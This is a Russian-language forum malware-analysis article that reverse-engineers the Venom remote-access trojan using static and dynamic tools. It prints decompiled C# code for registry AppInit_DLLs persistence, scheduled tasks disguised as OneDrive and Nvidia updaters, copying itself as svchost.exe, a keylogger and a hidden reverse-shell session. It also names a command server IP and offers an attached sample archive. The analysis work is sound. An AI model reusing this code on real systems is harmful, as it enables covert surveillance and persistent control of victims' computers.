Введение
Не так давно большинство новостных каналов заполонили новости о работе вредоносного программного обеспечения. Существует множество вирусов для контроля системы и все они очень хорошо прячутся и самообороняются от нежелательного изучения исходного кода. Разработчики придумывают все более изощренные способы защиты и иногда ставят в тупик даже опытных реверс инженеров. Но поговорим немного о другом. Обычно за созданием вредоносов стоят хакерские группировки, которые придумывают свою версию малвари лишь бы ее не мог найти антивирус. А теперь я открою тебе глаза и скажу, что существуют целые компании по созданию ратников для администрирования компьютеров. Да, это не очередная опечатка, а реальный факт. Давай я на примере частной компании
Ссылка скрыта от гостей
разберу их продукт с очевидным и громким названием Venom.План работы
Он, на удивление, очень короткий и простой. Я постараюсь объяснить тебе как работает такого типа малварь, что она делает, куда передает информацию и как закрепляется в системе. Вся демонстрация будет проводится на старой версии продукта, поскольку найти крякнутый и современный вариант этого зверя мне не удалось. Начнем наше путешествия как всегда со статического анализа PE-файла. Плавно перейдем к динамической работе и завершим все итогами по нашей работе. Что может быть проще?
Статический анализ
Итак, по традиции и с благоразумной точки зрения закинем наш файл в DiE. Он немного покапается в заголовках, расскажет нам на чем стоит приложение и какие библиотеки оно импортирует. Взгляни на результаты.
Итак, по традиции и с благоразумной точки зрения закинем наш файл в DiE. Он немного покопается в заголовках, расскажет нам на чем стоит приложение и какие библиотеки оно импортирует. Взгляни на результаты.
Прежде всего в глаза бросается полоса статуса, которая остановилась ровно на 80% и пояснением несжатый. И эти слова подтверждаются секциями. Ни одна из них не имеет обвеса и какой либо защиты. Парадокс! Но не будем ослаблять хватку и продвинемся дальше в изучении нашего вируса.
После таких манипуляций попробуем посмотреть таблицу импорта и экспорта. Заранее скажу, что на экспорт каких либо функций я к сожалению не нашел. Ну а для всего этого дела воспользуемся FileAlyzer. Ниже его вердикт по этому поводу.
Удивительно. В таблице всего лишь одна библиотека и соответственно одна функция. Давай приблизимся к нашей цели и попробуем приоткрыть занавесу с исходным кодом посмотрев какие действия выполняет наш вирус в системе. Чтобы преждевременно не прибегать к динамическому анализу я воспользовался программой pestudio и вот что из этого получилось.
Из таблицы выше ты можешь отчетливо видеть как наша малварь пытается связаться с неизвестным нам хостом и скачать отдельные файлы с него. Попробуем прогнать этот IP адрес через nmap и посмотрим, находится ли он вообще в сети. Спустя несколько минут ты получишь примерно такую картину:
Код:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 19:33 MSK
Nmap scan report for ip16.ip-91-134-207.eu (91.134.207.16)
Host is up.
All 1000 scanned ports on ip16.ip-91-134-207.eu (91.134.207.16) are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.18 seconds
Ну и для убеждения проверим по whois, что это вообще за адрес. А расположен он во Франции и собрать о нем много информации к сожалению не получится, поэтому будем двигаться дальше, ну а ниже я оставил лог с сайта с подробной информацией об IP.
Код:
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.
% Information related to '91.134.207.16 - 91.134.207.31'
% Abuse contact for '91.134.207.16 - 91.134.207.31' is 'support@hosterdaddy.com'
inetnum: 91.134.207.16 - 91.134.207.31
netname: OVH_111463049
descr: OVH Static IP
country: FR
org: ORG-HD37-RIPE
admin-c: OTC2-RIPE
tech-c: OTC2-RIPE
status: ASSIGNED PA
mnt-by: OVH-MNT
created: 2016-07-07T14:58:44Z
last-modified: 2016-07-07T14:58:44Z
source: RIPE
% Information related to '91.134.0.0/16AS16276'
route: 91.134.0.0/16
origin: AS16276
mnt-by: OVH-MNT
created: 2016-04-15T11:43:03Z
last-modified: 2016-04-15T11:43:03Z
source: RIPE
descr: OVH
% This query was served by the RIPE Database Query Service version 1.103 (HEREFORD)
Переключаемся на наш любимый pestudio и во вкладке строк поищем что-нибудь интересное. К примеру наш паразит для выхода в онлайн и установки прослушки хоста использует известную программу ngrok. Крайне необычная находка, особенно с учетом всех обстоятельств. Можешь посмотреть на это сам.
Также Веном использует PowerShell в своих целях. Зачем-то убивает процесс explorer.exe, он же всеми любимый Internet Explorer и взаимодействует с парочкой системных процессов, один из них тебе уже знаком. Итак, такие строки выглядят крайне подозрительно для такого вируса. Кому придет в голову работать с древним браузере, тем более убивать его через консоль. Адрес из последних 4-х строк мы с тобой разобрали, поэтому останавливаться на них я не буду.
Итак, мы знаем базовую информацию и то, что файл чем-то покрыт (это ты заметишь из энтропии так как она стоит на 80%) также на эту мысль наводит тот факт, что таблица импорта состоит всего лишь из одной библиотеки и функции, которая в ней хранится. Так как работаем мы с NET приложением, то я решил отдать на растерзание вирус программе de4dot. До этого я упоминал ее в статьях как хороший инструмент для борьбы с NET Reactor. Но как ты понимаешь, вскрытие реактора это только одна из функций этой утилиты. Запускаем нашу консоль и вводим примерно такую команду:
Код:
C:\путь_до_утилиты\de4dot.exe C:\путь_до_вируса\$77-Venom.exe
Также ты можешь импортировать репозиторий отсюда прямиком в Visual Studio, собрать его и пользоваться консольной версией программы без каких либо проблем.
Таким образом утилита обрабатывает файл и создает такой же с пометкой cleaned, что означает очищен. Кидаем файл в dotPeek и любуемся результатом. Ниже я поместил скриншот до расшифровки и после нее.
Как ты понял, вирус имеет какой-то китайский обфускатор. Но нас он не остановил, поэтому теперь ты можешь в корень изучить весь код. Я лишь расскажу об основных ветках и за что они отвечают, чтобы тебе было легче ориентироваться.
Ознакомиться с фундаментальными функциями вируса, такими как запись видео, аудио и сбор информации ты можешь в ветке
xClient.Core.Packets.ClientPackets
. Они обеспечивают работу со стороны зараженной машины, ну а функция по соседству уже отвечает за работу со стороны сервера, она же имеет название xClient.Core.Packets.ServerPackets. Чтобы не спалить соединение в системе Веном использует встроенное прокси, его можно увидеть в названии xClient.Core.ReverseProxy.Packets
. Далее идет дополнительный функционал. Полезные нагрузки, кейлогеры и стиллеры. Все это ты оценишь в функции Utilities. Все подробно я разберу позднее.Итак, со статическим анализом мы разобрались. У нас есть исходный код и на этом можно было завершить наши исследования, но давай все же посмотрим какие данные передает вирус и как он адаптируется в системе.
Динамический анализ
Первым делом я решил убедиться в том, что вирус действительно пытается связаться с определенным хостом. Для этого используем наш любимый Wireshark. К сожалению, что-либо связанное с нашим айпишником мне не удалось найти, но при запуске наш вирус отправляет информацию на некий адрес. Попробуем отфильтровать его и посмотрим, что у нас получится. Для этого я использовал следующий фильтр:
Код:
ip.dst == 208.95.112.1
Первым делом компьютер устанавливает соединения путем отправки начального пакета. Далее идет ответ от сервера и передача информации по протоколу HTTP. Давай посмотрим, что он содержит. Кликаем правой кнопкой мыши по полю с интересующим нас протоколом. В выпадающем списке функций выбираем Следовать -> HTTP. И в итоге мы видим, что вирус отправляет наше местоположение и данные о нашем браузере. Интересно, как так получилось? На самом деле все очень просто. Если вбить этот IP в адресную строку, то нас перекинет на сайт
Ссылка скрыта от гостей
. С его помощью Веном вытаскивает всю информацию и отправляет на сервер.Также вирус добавляет к этому наименования твоего компьютера для дальнейшей передачи на сервер. Больше ничего полезного в перехваченных пакетах нету. Попробуем испытать удачу еще раз и обратимся к TCPView. Запускаем наш вирус и переходим на него в окне программы. Кликаем правой кнопкой мыши по процессу и выполняем функцию whois, тем самым тебе предоставят данные о том, куда и зачем обращается вирус. Пример такой работы ты можешь увидеть ниже.
И вот нашлась наша вторая зацепка. Веном наблюдает за твоим устройством при помощи программы для записи экрана Bandicam. Довольно известный продукт. Теперь давай посмотрим, что импортирует наш вирус в период активности. Если на статическом анализе было все крайне просто, одна библиотека и одна функция, то в процессе работы картина меняется и количество импортируемых функций значительно шире. Давай убедимся в этом при помощи утилиты Explorer Suite. В себе она имеет Task Explorer для отслеживания процессов в реальном времени. Запустим его и найдем нашего паразита. Далее ты увидишь примерно такую картину:
Как ты видишь, в процессе работы вирь подгружает такие библиотеки как ntdll и wow. Самые стандартные системные файлы, которые можно найти на локальном диске. Больше пользы чем исходный код нам уже программа не принесет. Давай как раз вернемся к нему и посмотрим, какую полезную информацию мы можем вытащить.
Разбираем исходный код
Итак, еще на ранних этапах я показал тебе как добраться до исходного кода нашего вируса. Спешу тебя оповестить о том, что в себе программа содержит еще несколько полезных файлов которые мы можем вытащить при помощи ExtremeDumeper. Чтобы провернуть все это дело тебе следует запустить сам дампер и вместе с ним малварь. Дальше используя интуитивно понятный интерфейс дампишь все это дело в удобное для тебя место. Выглядит это все примерно так:
Как ты уже заметил у нас появилось еще два PE-файла с довольно понятными названиями. Закинем их к нашему Веному в dotPeek. Сам файл Install, подгружая библиотеки, создает файл с определенным именем. Его генерация в коде выглядит следующим образом:
C#:
public static void Install(bool is64bit)
{
string str1 = "x" + (is64bit ? 64 : 86).ToString() + ".dll";
string str2 = Path.Combine(Path.GetTempPath(), "$77-" + Guid.NewGuid().ToString("N") + "-" + str1);
File.Copy(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "r77-" + str1), str2);
new FileInfo(str2).Attributes |= FileAttributes.Temporary;
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, is64bit ? RegistryView.Registry64 : RegistryView.Registry32).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", true))
{
registryKey.SetValue("LoadAppInit_DLLs", (object) 1);
registryKey.SetValue("RequireSignedAppInit_DLLs", (object) 0);
registryKey.SetValue("AppInit_DLLs", (object) str2);
}
}
И как ты мог заметить все это дело копируется у нас в реестре по соответствующему пути. Конечно, если почитать весь код внимательно, то можно понять, что таким образом вирус закрепляется в системе для дальнейшей эволюции в rootkit. Ну а такого паразита из системы будет гораздо сложнее вытащить. В ветке ресурсов ты можешь посмотреть версию библиотек.
Перейдем к еще одному любопытному файлу с названием Chrome. В главной функции содержится ветка, которая подгружает стандартные библиотеки Windows и закрепляется в системе путем создания копии по пути: C:\\windows\\system32. Присмотревшись к названием переменных, ты можешь увидеть такие название как payload, которые говорят сами за себя. Малварь пытается всеми силами выжить в системе. Также есть всеми любимый Thread.Sleep, который позволяет не палиться если все пойдет через одно место. Ну а скомпилировано все это дело при помощи Visual Studio версии 16.5.0 от 2019 года. Хотя самое интересное начинается в функции CopyMySelf на ветке Program. Здесь, созданные полезные нагрузки склеиваются с известными программами, чтобы скрыть следы присутствия в системе. Все выполняется от имени администратора и вот тому подтверждения в коде:
C#:
string str1 = "Onedrive-Standalone";
string sourceFileName1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "$77-Venom.exe");
string str2 = "Onedrive";
string path1 = "%AppData%\\Roaming";
string str3 = Path.Combine(path1, "Install.exe");
string str4 = Path.Combine(path1, "$77Install.exe");
Здесь у нас происходит копирования в системные папки, а дальше малварь проверяет наличия прав суперпользователя. И если они имеются, то происходят такие действия:
C#:
if (WindowsAccountHelper.GetAccountType() == "Admin")
{
try
{
string environmentVariable = Environment.GetEnvironmentVariable("SYSTEMROOT/tasks");
string name = WindowsIdentity.GetCurrent().Name;
Process.Start(new ProcessStartInfo()
{
FileName = "cmd",
Arguments = "/k start /b powershell Cacls " + environmentVariable + " /e /t /g " + name + ":F & exit",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
ErrorDialog = false
});
Process.Start(new ProcessStartInfo("schtasks")
{
Arguments = "/create /tn " + str2 + " /sc ONLOGON /tr \"" + sourceFileName1 + "\" /rl HIGHEST /f",
UseShellExecute = false,
CreateNoWindow = true
}).WaitForExit(1000);
Process.Start(new ProcessStartInfo("schtasks")
{
Arguments = "/create /tn " + str1 + " /sc ONLOGON /tr \"" + str4 + "\" /rl HIGHEST /f",
UseShellExecute = false,
CreateNoWindow = true
}).WaitForExit(1000);
string str5 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup), "$77Nvidia_Update.exe");
string str6 = "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}";
Process.Start(new ProcessStartInfo("schtasks")
{
Arguments = "/create /tn " + str6 + " /sc ONLOGON /tr \"" + str5 + "\" /rl HIGHEST /f",
UseShellExecute = false,
CreateNoWindow = true
}).WaitForExit(1000);
}
Как ты видишь первым делом запускается оболочка PowerShell и производится ряд команд. Далее как всегда запускается еще один вредоносный процесс и производятся операции непосредственно с ним. После происходит комбинация и создание процесса Nvide_Update. Не повезло конечно поклонникам Radeon в этом случаи. Даже svchost попадает под раздачу.
C#:
string str10 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "svchost.exe");
File.Copy(sourceFileName1, str10);
Process.Start(new ProcessStartInfo()
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = false,
FileName = str10
});
Также рекомендую оценить кейлогер. О его расположении я говорил выше и записывает он информацию в формате нажатая_клавиша-час:минуты. Ниже я привел часто кода, где это все реализуется.
C#:
private void OnKeyDown(object sender, KeyEventArgs e)
{
string input = GClass57.smethod_4();
if (!string.IsNullOrEmpty(input) && input != this._lastWindowTitle)
{
this._lastWindowTitle = input;
this._logFileBuffer.Append("<p class=\"h\"><br><br>[<b>" + GClass57.smethod_2(input) + " - " + DateTime.Now.ToString("HH:mm") + "</b>]</p><br>");
}
if (this._pressedKeys.IsModifierKeysSet() && !this._pressedKeys.Contains(e.KeyCode))
{
this._pressedKeys.Add(e.KeyCode);
}
else
{
if (e.KeyCode.IsExcludedKey() || this._pressedKeys.Contains(e.KeyCode))
return;
this._pressedKeys.Add(e.KeyCode);
}
}
В дополнении происходит конвертация служебных клавиш как пробел, esc и enter. Происходит это в отдельном контейнере switch:
C#:
switch (strArray[index])
{
case "Return":
stringBuilder1.Append("<p class=\"h\">[Enter]</p><br>");
continue;
case "Escape":
stringBuilder1.Append("<p class=\"h\">[Esc]</p>");
continue;
default:
stringBuilder1.Append("<p class=\"h\">[" + strArray[index] + "]</p>");
continue;
}
Файл с данными отправляется на сервер в формате месяца дня и года.
C#:
string str = Path.Combine(Keylogger.LogDirectory, DateTime.Now.ToString("MM-dd-yyyy"));
Обратная Shell оболочка работает слегка иначе. При ее включении первым делом указывается нужная кодировка для правильного отображения символов. Все последующие команды выполняются с флагом /k, что означает их бесконечность. Проще говоря они исполняются без последующего завершения. Всю эту информацию ты найдешь в цикле создания сессии. Я приложил его ниже.
C#:
private void CreateSession()
{
lock (this._readLock)
this._read = true;
this._encoding = Encoding.GetEncoding(CultureInfo.InstalledUICulture.TextInfo.OEMCodePage);
this._prc = new Process()
{
StartInfo = new ProcessStartInfo("cmd")
{
UseShellExecute = false,
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
StandardOutputEncoding = this._encoding,
StandardErrorEncoding = this._encoding,
CreateNoWindow = true,
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
Arguments = "/K"
}
};
this._prc.Start();
this.RedirectOutputs();
this.ExecuteCommand("chcp " + this._encoding.CodePage.ToString());
new DoShellExecuteResponse(Environment.NewLine + ">> New Session created" + Environment.NewLine).Execute((GClass18) Class5.gclass19_0);
}
Все файлы для работы я оставил для тебя в конце статьи, поэтому если интересно повторить действия из статьи, то ты спокойно можешь это сделать. Теперь давай плавно перейдем к нашему завершению, ведь мы прошли весь путь в изучении этой малвари. Остается выяснить важные моменты, чем мы сейчас и займемся.
Подводим итоги
Итак, в этой статье я постарался максимально понятно и доходчиво объяснить как разреверсить такую малварь. Конечно, до дизассемблирования дело не дошло, но в дальнейших статьях я просвещу тебя в это дело и покажу как бороться с упаковщиками и обфускаторами на уровне ассемблера. Ниже предоставлен тот самый архив с файлами по которому я работал. Для
защиты от нежелательного удаления антивируса на нем установлен пароль: codeby.
Вложения
Последнее редактирование модератором: